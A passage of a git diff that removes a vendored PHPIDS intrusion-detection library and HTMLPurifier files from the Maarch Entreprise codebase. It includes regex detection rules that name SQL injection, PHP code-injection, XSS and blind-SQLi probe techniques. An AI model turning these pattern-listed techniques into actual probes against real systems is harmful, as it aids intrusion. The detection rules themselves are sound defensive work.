</filter> - <!--<filter> - <id>55</id> - <rule><![CDATA[(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\s*\([^\)]*)|(?:";?\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+(?:dump|out)file\s*")]]></rule> - <description>Detects MSSQL code execution and information gathering attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter>--> - <filter> - <id>56</id> - <rule><![CDATA[(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-])|(?:match\s*[\w(),+-]+\s*against\s*\()]]></rule> - <description>Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> -<!-- <filter> - <id>57</id> - <rule><![CDATA[(?:,.*[)\da-f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\()]]></rule> - <description>Detects MySQL comment-/space-obfuscated injections and backtick termination</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> --> - <filter> - <id>58</id> - <rule><![CDATA[(?:@[\w-]+\s*\()|(?:]\s*\(\s*["!]\s*\w)|(?:<[?%](?:php)?.*(?:[?%]>)?)|(?:;[\s\w|]*\$\w+\s*=)|(?:\$\w+\s*=(?:(?:\s*\$?\w+\s*[(;])|\s*".*"))|(?:;\s*\{\W*\w+\s*\()]]></rule> - <description>Detects code injection attempts 1/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>59</id> - <rule><![CDATA[(?:(?:[;]+|(<[?%](?:php)?)).*(?:define|eval|file_get_contents|include|require|require_once|set|shell_exec|phpinfo|system|passthru|preg_\w+|execute)\s*["(@])]]></rule> - <description>Detects code injection attempts 2/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>60</id> - <rule><![CDATA[(?:(?:[;]+|(<[?%](?:php)?)).*[^\w](?:echo|print|print_r|var_dump|[fp]open))|(?:;\s*rm\s+-\w+\s+)|(?:;.*{.*\$\w+\s*=)|(?:\$\w+\s*\[\]\s*=\s*)]]></rule> - <description>Detects code injection attempts 3/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>61</id> - <rule><![CDATA[(?:\w+]?(?<!href)(?<!src)(?<!longdesc)(?<!returnurl)=(?:https?|ftp):)|(?:\{\s*\$\s*\{)]]></rule> - <description>Detects url injections and RFE attempts</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>62</id> - <rule><![CDATA[(?:function[^(]*\([^)]*\))|(?:(?:delete|void|throw|instanceof|new|typeof)[^\w.]+\w+\s*[([])|([)\]]\s*\.\s*\w+\s*=)|(?:\(\s*new\s+\w+\s*\)\.)]]></rule> - <description>Detects common function declarations and special JS operators</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>63</id> - <rule><![CDATA[(?:[\w.-]+@[\w.-]+%(?:[01][\db-ce-f])+\w+:)]]></rule> - <description>Detects common mail header injections</description> - <tags> - <tag>id</tag> - <tag>spam</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>64</id> - <rule><![CDATA[(?:\.pl\?\w+=\w?\|\w+;)|(?:\|\(\w+=\*)|(?:\*\s*\)+\s*;)]]></rule> - <description>Detects perl echo shellcode injection and LDAP vectors</description> - <tags> - <tag>lfi</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>65</id> - <rule><![CDATA[(?:(^|\W)const\s+[\w\-]+\s*=)|(?:(?:do|for|while)\s*\([^;]+;+\))|(?:(?:^|\W)on\w+\s*=[\w\W]*(?:on\w+|alert|eval|print|confirm|prompt))|(?:groups=\d+\(\w+\))|(?:(.)\1{128,})]]></rule> - <description>Detects basic XSS DoS attempts</description> - <tags> - <tag>rfe</tag> - <tag>dos</tag> - </tags> - <impact>5</impact> - </filter> - <!--<filter> - <id>67</id> - <rule><![CDATA[(?:\({2,}\+{2,}:{2,})|(?:\({2,}\+{2,}:+)|(?:\({3,}\++:{2,})|(?:\$\[!!!\])]]></rule> - <description>Detects unknown attack vectors based on PHPIDS Centrifuge detection</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter>--> - <filter> - <id>68</id> - <rule><![CDATA[(?:[\s\/"]+[-\w\/\\\*]+\s*=.+(?:\/\s*>))]]></rule> - <description>Finds attribute breaking injections including obfuscated attributes</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>69</id> - <rule><![CDATA[(?:(?:msgbox|eval)\s*\+|(?:language\s*=\*vbscript))]]></rule> - <description>Finds basic VBScript injection attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>70</id> - <rule><![CDATA[(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\])]]></rule> - <description>Finds basic MongoDB SQL injection attempts</description> - <tags> - <tag>sqli</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>71</id> - <rule><![CDATA[(?:[\s\d\/"]+(?:on\w+|style|poster|background)=[$"\w])|(?:-type\s*:\s*multipart)]]></rule> - <description>finds malicious attribute injection attempts and MHTML attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>72</id> - <rule><![CDATA[(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\)))]]></rule> - <description>Detects blind sqli tests using sleep() or benchmark().</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>73</id> - <rule><![CDATA[(?i:(\%SYSTEMROOT\%))]]></rule> - <description>An attacker is trying to locate a file to read or write.</description> - <tags> - <tag>files</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>74</id> - <rule><![CDATA[(?i:(ping(.*)[\-(.*)\w|\w(.*)\-]))]]></rule> - <description>Detects remote code exectuion tests. Will match "ping -n 3 localhost" and "ping localhost -n 3" </description> - <tags> - <tag>Command Execution</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>75</id> - <rule><![CDATA[(?:(((.*)\%[c|d|i|e|f|g|o|s|u|x|p|n]){8}))]]></rule> - <description>Looking for a format string attack</description> - <tags> - <tag>format string</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>76</id> - <rule><![CDATA[(?:(union(.*)select(.*)from))]]></rule> - <description>Looking for basic sql injection. Common attack string for mysql, oracle and others.</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>77</id> - <rule><![CDATA[(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)]]></rule> - <description>Looking for intiger overflow attacks, these are taken from skipfish, except 2.2250738585072007e-308 is the "magic number" crash</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>3</impact> - </filter> -</filters> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/tmp/test.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/tmp/test.txt deleted file mode 100755 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php deleted file mode 100755 index c810e87b6e26361d610f4a0506a3b26b3ffde918..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * This is a stub include that automatically configures the include path. - */ - -set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() ); -require_once 'HTMLPurifier/Bootstrap.php'; -require_once 'HTMLPurifier.autoload.php'; - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.autoload.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.autoload.php deleted file mode 100755 index acbc5216ff650142ea73cc536ecac8c2b65ca3f5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.autoload.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -/** - * @file - * Convenience file that registers autoload handler for HTML Purifier. - * It also does some sanity checks. - */ - -if (function_exists('spl_autoload_register') && function_exists('spl_autoload_unregister')) { - // We need unregister for our pre-registering functionality - HTMLPurifier_Bootstrap::registerAutoload(); - if (function_exists('__autoload')) { - // Be polite and ensure that userland autoload gets retained - spl_autoload_register('__autoload'); - } -} elseif (!function_exists('__autoload')) { - function __autoload($class) { - return HTMLPurifier_Bootstrap::autoload($class); - } -} - -if (ini_get('zend.ze1_compatibility_mode')) { - trigger_error("HTML Purifier is not compatible with zend.ze1_compatibility_mode; please turn it off", E_USER_ERROR); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.func.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.func.php deleted file mode 100755 index 529a29919f76294a8ca2ec387a4dae998ed799af..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.func.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -/** - * @file - * Defines a function wrapper for HTML Purifier for quick use. - * @note ''HTMLPurifier()'' is NOT the same as ''new HTMLPurifier()'' - */ - -/** - * Purify HTML. - * @param $html String HTML to purify - * @param $config Configuration to use, can be any value accepted by - * HTMLPurifier_Config::create() - */ -function HTMLPurifier($html, $config = null) { - static $purifier = false; - if (!$purifier) { - $purifier = new HTMLPurifier(); - } - return $purifier->purify($html, $config); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php deleted file mode 100755 index 989c3fdcdb17f4abd201d8e227ff38e543bd8d1f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php +++ /dev/null @@ -1,214 +0,0 @@ -<?php - -/** - * @file - * This file was auto-generated by generate-includes.php and includes all of - * the core files required by HTML Purifier. Use this if performance is a - * primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS - * FILE, changes will be overwritten the next time the script is run. - * - * @version 4.3.0 - * - * @warning - * You must *not* include any other HTML Purifier files before this file, - * because 'require' not 'require_once' is used. - * - * @warning - * This file requires that the include path contains the HTML Purifier - * library directory; this is not auto-set. - */ - -require 'HTMLPurifier.php'; -require 'HTMLPurifier/AttrCollections.php'; -require 'HTMLPurifier/AttrDef.php'; -require 'HTMLPurifier/AttrTransform.php'; -require 'HTMLPurifier/AttrTypes.php'; -require 'HTMLPurifier/AttrValidator.php'; -require 'HTMLPurifier/Bootstrap.php'; -require 'HTMLPurifier/Definition.php'; -require 'HTMLPurifier/CSSDefinition.php'; -require 'HTMLPurifier/ChildDef.php'; -require 'HTMLPurifier/Config.php'; -require 'HTMLPurifier/ConfigSchema.php'; -require 'HTMLPurifier/ContentSets.php'; -require 'HTMLPurifier/Context.php'; -require 'HTMLPurifier/DefinitionCache.php'; -require 'HTMLPurifier/DefinitionCacheFactory.php'; -require 'HTMLPurifier/Doctype.php'; -require 'HTMLPurifier/DoctypeRegistry.php'; -require 'HTMLPurifier/ElementDef.php'; -require 'HTMLPurifier/Encoder.php'; -require 'HTMLPurifier/EntityLookup.php'; -require 'HTMLPurifier/EntityParser.php'; -require 'HTMLPurifier/ErrorCollector.php'; -require 'HTMLPurifier/ErrorStruct.php'; -require 'HTMLPurifier/Exception.php'; -require 'HTMLPurifier/Filter.php'; -require 'HTMLPurifier/Generator.php'; -require 'HTMLPurifier/HTMLDefinition.php'; -require 'HTMLPurifier/HTMLModule.php'; -require 'HTMLPurifier/HTMLModuleManager.php'; -require 'HTMLPurifier/IDAccumulator.php'; -require 'HTMLPurifier/Injector.php'; -require 'HTMLPurifier/Language.php'; -require 'HTMLPurifier/LanguageFactory.php'; -require 'HTMLPurifier/Length.php'; -require 'HTMLPurifier/Lexer.php'; -require 'HTMLPurifier/PercentEncoder.php'; -require 'HTMLPurifier/PropertyList.php'; -require 'HTMLPurifier/PropertyListIterator.php'; -require 'HTMLPurifier/Strategy.php'; -require 'HTMLPurifier/StringHash.php'; -require 'HTMLPurifier/StringHashParser.php'; -require 'HTMLPurifier/TagTransform.php'; -require 'HTMLPurifier/Token.php'; -require 'HTMLPurifier/TokenFactory.php'; -require 'HTMLPurifier/URI.php'; -require 'HTMLPurifier/URIDefinition.php'; -require 'HTMLPurifier/URIFilter.php'; -require 'HTMLPurifier/URIParser.php'; -require 'HTMLPurifier/URIScheme.php'; -require 'HTMLPurifier/URISchemeRegistry.php'; -require 'HTMLPurifier/UnitConverter.php'; -require 'HTMLPurifier/VarParser.php'; -require 'HTMLPurifier/VarParserException.php'; -require 'HTMLPurifier/AttrDef/CSS.php'; -require 'HTMLPurifier/AttrDef/Enum.php'; -require 'HTMLPurifier/AttrDef/Integer.php'; -require 'HTMLPurifier/AttrDef/Lang.php'; -require 'HTMLPurifier/AttrDef/Switch.php'; -require 'HTMLPurifier/AttrDef/Text.php'; -require 'HTMLPurifier/AttrDef/URI.php'; -require 'HTMLPurifier/AttrDef/CSS/Number.php'; -require 'HTMLPurifier/AttrDef/CSS/AlphaValue.php'; -require 'HTMLPurifier/AttrDef/CSS/Background.php'; -require 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; -require 'HTMLPurifier/AttrDef/CSS/Border.php'; -require 'HTMLPurifier/AttrDef/CSS/Color.php'; -require 'HTMLPurifier/AttrDef/CSS/Composite.php'; -require 'HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php'; -require 'HTMLPurifier/AttrDef/CSS/Filter.php'; -require 'HTMLPurifier/AttrDef/CSS/Font.php'; -require 'HTMLPurifier/AttrDef/CSS/FontFamily.php'; -require 'HTMLPurifier/AttrDef/CSS/ImportantDecorator.php'; -require 'HTMLPurifier/AttrDef/CSS/Length.php'; -require 'HTMLPurifier/AttrDef/CSS/ListStyle.php'; -require 'HTMLPurifier/AttrDef/CSS/Multiple.php'; -require 'HTMLPurifier/AttrDef/CSS/Percentage.php'; -require 'HTMLPurifier/AttrDef/CSS/TextDecoration.php'; -require 'HTMLPurifier/AttrDef/CSS/URI.php'; -require 'HTMLPurifier/AttrDef/HTML/Bool.php'; -require 'HTMLPurifier/AttrDef/HTML/Nmtokens.php'; -require 'HTMLPurifier/AttrDef/HTML/Class.php'; -require 'HTMLPurifier/AttrDef/HTML/Color.php'; -require 'HTMLPurifier/AttrDef/HTML/FrameTarget.php'; -require 'HTMLPurifier/AttrDef/HTML/ID.php'; -require 'HTMLPurifier/AttrDef/HTML/Pixels.php'; -require 'HTMLPurifier/AttrDef/HTML/Length.php'; -require 'HTMLPurifier/AttrDef/HTML/LinkTypes.php'; -require 'HTMLPurifier/AttrDef/HTML/MultiLength.php'; -require 'HTMLPurifier/AttrDef/URI/Email.php'; -require 'HTMLPurifier/AttrDef/URI/Host.php'; -require 'HTMLPurifier/AttrDef/URI/IPv4.php'; -require 'HTMLPurifier/AttrDef/URI/IPv6.php'; -require 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; -require 'HTMLPurifier/AttrTransform/Background.php'; -require 'HTMLPurifier/AttrTransform/BdoDir.php'; -require 'HTMLPurifier/AttrTransform/BgColor.php'; -require 'HTMLPurifier/AttrTransform/BoolToCSS.php'; -require 'HTMLPurifier/AttrTransform/Border.php'; -require 'HTMLPurifier/AttrTransform/EnumToCSS.php'; -require 'HTMLPurifier/AttrTransform/ImgRequired.php'; -require 'HTMLPurifier/AttrTransform/ImgSpace.php'; -require 'HTMLPurifier/AttrTransform/Input.php'; -require 'HTMLPurifier/AttrTransform/Lang.php'; -require 'HTMLPurifier/AttrTransform/Length.php'; -require 'HTMLPurifier/AttrTransform/Name.php'; -require 'HTMLPurifier/AttrTransform/NameSync.php'; -require 'HTMLPurifier/AttrTransform/Nofollow.php'; -require 'HTMLPurifier/AttrTransform/SafeEmbed.php'; -require 'HTMLPurifier/AttrTransform/SafeObject.php'; -require 'HTMLPurifier/AttrTransform/SafeParam.php'; -require 'HTMLPurifier/AttrTransform/ScriptRequired.php'; -require 'HTMLPurifier/AttrTransform/Textarea.php'; -require 'HTMLPurifier/ChildDef/Chameleon.php'; -require 'HTMLPurifier/ChildDef/Custom.php'; -require 'HTMLPurifier/ChildDef/Empty.php'; -require 'HTMLPurifier/ChildDef/Required.php'; -require 'HTMLPurifier/ChildDef/Optional.php'; -require 'HTMLPurifier/ChildDef/StrictBlockquote.php'; -require 'HTMLPurifier/ChildDef/Table.php'; -require 'HTMLPurifier/DefinitionCache/Decorator.php'; -require 'HTMLPurifier/DefinitionCache/Null.php'; -require 'HTMLPurifier/DefinitionCache/Serializer.php'; -require 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; -require 'HTMLPurifier/DefinitionCache/Decorator/Memory.php'; -require 'HTMLPurifier/HTMLModule/Bdo.php'; -require 'HTMLPurifier/HTMLModule/CommonAttributes.php'; -require 'HTMLPurifier/HTMLModule/Edit.php'; -require 'HTMLPurifier/HTMLModule/Forms.php'; -require 'HTMLPurifier/HTMLModule/Hypertext.php'; -require 'HTMLPurifier/HTMLModule/Image.php'; -require 'HTMLPurifier/HTMLModule/Legacy.php'; -require 'HTMLPurifier/HTMLModule/List.php'; -require 'HTMLPurifier/HTMLModule/Name.php'; -require 'HTMLPurifier/HTMLModule/Nofollow.php'; -require 'HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; -require 'HTMLPurifier/HTMLModule/Object.php'; -require 'HTMLPurifier/HTMLModule/Presentation.php'; -require 'HTMLPurifier/HTMLModule/Proprietary.php'; -require 'HTMLPurifier/HTMLModule/Ruby.php'; -require 'HTMLPurifier/HTMLModule/SafeEmbed.php'; -require 'HTMLPurifier/HTMLModule/SafeObject.php'; -require 'HTMLPurifier/HTMLModule/Scripting.php'; -require 'HTMLPurifier/HTMLModule/StyleAttribute.php'; -require 'HTMLPurifier/HTMLModule/Tables.php'; -require 'HTMLPurifier/HTMLModule/Target.php'; -require 'HTMLPurifier/HTMLModule/Text.php'; -require 'HTMLPurifier/HTMLModule/Tidy.php'; -require 'HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; -require 'HTMLPurifier/HTMLModule/Tidy/Name.php'; -require 'HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; -require 'HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; -require 'HTMLPurifier/HTMLModule/Tidy/Strict.php'; -require 'HTMLPurifier/HTMLModule/Tidy/Transitional.php'; -require 'HTMLPurifier/HTMLModule/Tidy/XHTML.php'; -require 'HTMLPurifier/Injector/AutoParagraph.php'; -require 'HTMLPurifier/Injector/DisplayLinkURI.php'; -require 'HTMLPurifier/Injector/Linkify.php'; -require 'HTMLPurifier/Injector/PurifierLinkify.php'; -require 'HTMLPurifier/Injector/RemoveEmpty.php'; -require 'HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php'; -require 'HTMLPurifier/Injector/SafeObject.php'; -require 'HTMLPurifier/Lexer/DOMLex.php'; -require 'HTMLPurifier/Lexer/DirectLex.php'; -require 'HTMLPurifier/Strategy/Composite.php'; -require 'HTMLPurifier/Strategy/Core.php'; -require 'HTMLPurifier/Strategy/FixNesting.php'; -require 'HTMLPurifier/Strategy/MakeWellFormed.php'; -require 'HTMLPurifier/Strategy/RemoveForeignElements.php'; -require 'HTMLPurifier/Strategy/ValidateAttributes.php'; -require 'HTMLPurifier/TagTransform/Font.php'; -require 'HTMLPurifier/TagTransform/Simple.php'; -require 'HTMLPurifier/Token/Comment.php'; -require 'HTMLPurifier/Token/Tag.php'; -require 'HTMLPurifier/Token/Empty.php'; -require 'HTMLPurifier/Token/End.php'; -require 'HTMLPurifier/Token/Start.php'; -require 'HTMLPurifier/Token/Text.php'; -require 'HTMLPurifier/URIFilter/DisableExternal.php'; -require 'HTMLPurifier/URIFilter/DisableExternalResources.php'; -require 'HTMLPurifier/URIFilter/DisableResources.php'; -require 'HTMLPurifier/URIFilter/HostBlacklist.php'; -require 'HTMLPurifier/URIFilter/MakeAbsolute.php'; -require 'HTMLPurifier/URIFilter/Munge.php'; -require 'HTMLPurifier/URIScheme/data.php'; -require 'HTMLPurifier/URIScheme/file.php'; -require 'HTMLPurifier/URIScheme/ftp.php'; -require 'HTMLPurifier/URIScheme/http.php'; -require 'HTMLPurifier/URIScheme/https.php'; -require 'HTMLPurifier/URIScheme/mailto.php'; -require 'HTMLPurifier/URIScheme/news.php'; -require 'HTMLPurifier/URIScheme/nntp.php'; -require 'HTMLPurifier/VarParser/Flexible.php'; -require 'HTMLPurifier/VarParser/Native.php'; diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php deleted file mode 100755 index 307bd4bd07454f6e26df3e3ac3085524478299c9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -/** - * @file - * Emulation layer for code that used kses(), substituting in HTML Purifier. - */ - -require_once dirname(__FILE__) . '/HTMLPurifier.auto.php'; - -function kses($string, $allowed_html, $allowed_protocols = null) { - $config = HTMLPurifier_Config::createDefault(); - $allowed_elements = array(); - $allowed_attributes = array(); - foreach ($allowed_html as $element => $attributes) { - $allowed_elements[$element] = true; - foreach ($attributes as $attribute => $x) { - $allowed_attributes["$element.$attribute"] = true; - } - } - $config->set('HTML.AllowedElements', $allowed_elements); - $config->set('HTML.AllowedAttributes', $allowed_attributes); - $allowed_schemes = array(); - if ($allowed_protocols !== null) { - $config->set('URI.AllowedSchemes', $allowed_protocols); - } - $purifier = new HTMLPurifier($config); - return $purifier->purify($string); -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.path.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.path.php deleted file mode 100755 index 353492a1cc1a275b030782caa6a0c5f93a79c382..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.path.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * @file - * Convenience stub file that adds HTML Purifier's library file to the path - * without any other side-effects. - */ - -set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() ); - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php deleted file mode 100755 index 66d147c66f79167a028776327ad20150897c022b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php +++ /dev/null @@ -1,237 +0,0 @@ -<?php - -/*! @mainpage - * - * HTML Purifier is an HTML filter that will take an arbitrary snippet of - * HTML and rigorously test, validate and filter it into a version that - * is safe for output onto webpages. It achieves this by: - * - * -# Lexing (parsing into tokens) the document, - * -# Executing various strategies on the tokens: - * -# Removing all elements not in the whitelist, - * -# Making the tokens well-formed, - * -# Fixing the nesting of the nodes, and - * -# Validating attributes of the nodes; and - * -# Generating HTML from the purified tokens. - * - * However, most users will only need to interface with the HTMLPurifier - * and HTMLPurifier_Config. - */ - -/* - HTML Purifier 4.3.0 - Standards Compliant HTML Filtering - Copyright (C) 2006-2008 Edward Z. Yang - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * Facade that coordinates HTML Purifier's subsystems in order to purify HTML. - * - * @note There are several points in which configuration can be specified - * for HTML Purifier. The precedence of these (from lowest to - * highest) is as follows: - * -# Instance: new HTMLPurifier($config) - * -# Invocation: purify($html, $config) - * These configurations are entirely independent of each other and - * are *not* merged (this behavior may change in the future). - * - * @todo We need an easier way to inject strategies using the configuration - * object. - */ -class HTMLPurifier -{ - - /** Version of HTML Purifier */ - public $version = '4.3.0'; - - /** Constant with version of HTML Purifier */ - const VERSION = '4.3.0'; - - /** Global configuration object */ - public $config; - - /** Array of extra HTMLPurifier_Filter objects to run on HTML, for backwards compatibility */ - private $filters = array(); - - /** Single instance of HTML Purifier */ - private static $instance; - - protected $strategy, $generator; - - /** - * Resultant HTMLPurifier_Context of last run purification. Is an array - * of contexts if the last called method was purifyArray(). - */ - public $context; - - /** - * Initializes the purifier. - * @param $config Optional HTMLPurifier_Config object for all instances of - * the purifier, if omitted, a default configuration is - * supplied (which can be overridden on a per-use basis). - * The parameter can also be any type that - * HTMLPurifier_Config::create() supports. - */ - public function __construct($config = null) { - - $this->config = HTMLPurifier_Config::create($config); - - $this->strategy = new HTMLPurifier_Strategy_Core(); - - } - - /** - * Adds a filter to process the output. First come first serve - * @param $filter HTMLPurifier_Filter object - */ - public function addFilter($filter) { - trigger_error('HTMLPurifier->addFilter() is deprecated, use configuration directives in the Filter namespace or Filter.Custom', E_USER_WARNING); - $this->filters[] = $filter; - } - - /** - * Filters an HTML snippet/document to be XSS-free and standards-compliant. - * - * @param $html String of HTML to purify - * @param $config HTMLPurifier_Config object for this operation, if omitted, - * defaults to the config object specified during this - * object's construction. The parameter can also be any type - * that HTMLPurifier_Config::create() supports. - * @return Purified HTML - */ - public function purify($html, $config = null) { - - // :TODO: make the config merge in, instead of replace - $config = $config ? HTMLPurifier_Config::create($config) : $this->config; - - // implementation is partially environment dependant, partially - // configuration dependant - $lexer = HTMLPurifier_Lexer::create($config); - - $context = new HTMLPurifier_Context(); - - // setup HTML generator - $this->generator = new HTMLPurifier_Generator($config, $context); - $context->register('Generator', $this->generator); - - // set up global context variables - if ($config->get('Core.CollectErrors')) { - // may get moved out if other facilities use it - $language_factory = HTMLPurifier_LanguageFactory::instance(); - $language = $language_factory->create($config, $context); - $context->register('Locale', $language); - - $error_collector = new HTMLPurifier_ErrorCollector($context); - $context->register('ErrorCollector', $error_collector); - } - - // setup id_accumulator context, necessary due to the fact that - // AttrValidator can be called from many places - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - - $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context); - - // setup filters - $filter_flags = $config->getBatch('Filter'); - $custom_filters = $filter_flags['Custom']; - unset($filter_flags['Custom']); - $filters = array(); - foreach ($filter_flags as $filter => $flag) { - if (!$flag) continue; - if (strpos($filter, '.') !== false) continue; - $class = "HTMLPurifier_Filter_$filter"; - $filters[] = new $class; - } - foreach ($custom_filters as $filter) { - // maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat - $filters[] = $filter; - } - $filters = array_merge($filters, $this->filters); - // maybe prepare(), but later - - for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) { - $html = $filters[$i]->preFilter($html, $config, $context); - } - - // purified HTML - $html = - $this->generator->generateFromTokens( - // list of tokens - $this->strategy->execute( - // list of un-purified tokens - $lexer->tokenizeHTML( - // un-purified HTML - $html, $config, $context - ), - $config, $context - ) - ); - - for ($i = $filter_size - 1; $i >= 0; $i--) { - $html = $filters[$i]->postFilter($html, $config, $context); - } - - $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context); - $this->context =& $context; - return $html; - } - - /** - * Filters an array of HTML snippets - * @param $config Optional HTMLPurifier_Config object for this operation. - * See HTMLPurifier::purify() for more details. - * @return Array of purified HTML - */ - public function purifyArray($array_of_html, $config = null) { - $context_array = array(); - foreach ($array_of_html as $key => $html) { - 